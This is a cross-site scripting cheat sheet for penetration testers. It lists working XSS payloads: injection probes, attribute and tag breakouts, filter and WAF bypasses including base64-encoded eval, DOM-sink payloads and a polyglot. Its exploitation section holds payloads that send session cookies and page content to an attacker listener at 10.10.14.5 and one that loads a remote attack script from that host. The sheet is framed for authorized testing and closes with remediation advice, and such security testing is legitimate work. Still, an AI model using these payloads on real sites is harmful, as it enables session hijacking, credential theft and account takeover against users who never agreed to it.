XSS (Cross-Site Scripting) Cheat Sheet
Cross-site scripting payloads and filter bypasses for reflected, stored, and DOM-based XSS on authorized targets.
Overview
XSS lets you execute JavaScript in another user's browser by injecting it into a page that doesn't encode output. Three types: reflected (payload in the request), stored (payload saved server-side), and DOM-based (sink in client JS). Confirm with a harmless probe first, then escalate to cookie theft, keylogging, or account takeover within scope.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Confirm injection (harmless probes)
Classic proof — prefer document.domain over alert(1)
<script>alert(document.domain)</script>Works where <script> is stripped
<img src=x onerror=alert(document.domain)>Break out of an attribute value first
"><script>alert(1)</script>Break out of a JS string context
'-alert(1)-'Attribute & tag context breakouts
Inject an event handler into an existing tag
" onmouseover="alert(1)SVG onload — short and reliable
"><svg onload=alert(1)>For href/src sinks (a, iframe)
javascript:alert(1)Escape a <textarea>/<title> block first
</textarea><script>alert(1)</script>Filter / WAF bypasses
Case variation vs naive blocklists
<sCrIpT>alert(1)</sCrIpT>Slash instead of space
<svg/onload=alert(1)>HTML entity encoding of keywords
<img src=x onerror="alert(1)">Base64-encode the payload (alert(1))
<script>eval(atob('YWxlcnQoMSk='))</script>Less-filtered event handlers (ontoggle, onpointerenter)
<details open ontoggle=alert(1)>DOM-based XSS sinks to test
Payload via location.hash → innerHTML sink
#<img src=x onerror=alert(1)>URL param read by document.write/innerHTML
?name=<img src=x onerror=alert(1)>When location is assigned from user input
javascript:alert(document.cookie)Impact / exploitation (in scope)
Exfiltrate cookies to your listener
<script>new Image().src='http://10.10.14.5/c?'+document.cookie</script>Steal a non-HttpOnly session via fetch
<script>fetch('http://10.10.14.5/?c='+document.cookie)</script>Force-load an external attack script
<script src=http://10.10.14.5/x.js></script>Grab a CSRF token from the DOM
<script>fetch('/profile').then(r=>r.text()).then(t=>fetch('http://10.10.14.5/?'+encodeURIComponent(t)))</script>Polyglot (works in many contexts)
Single payload that triggers across HTML, attribute, and JS contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eTips
- Use alert(document.domain), not alert(1) — it proves the origin and survives report review.
- HttpOnly cookies can't be read by JS; pivot to in-browser actions (CSRF, account changes) instead.
- DOM XSS lives entirely client-side — grep the JS for innerHTML, document.write, eval, and location sinks.
- The fix is context-aware output encoding plus a strict Content-Security-Policy — mention both.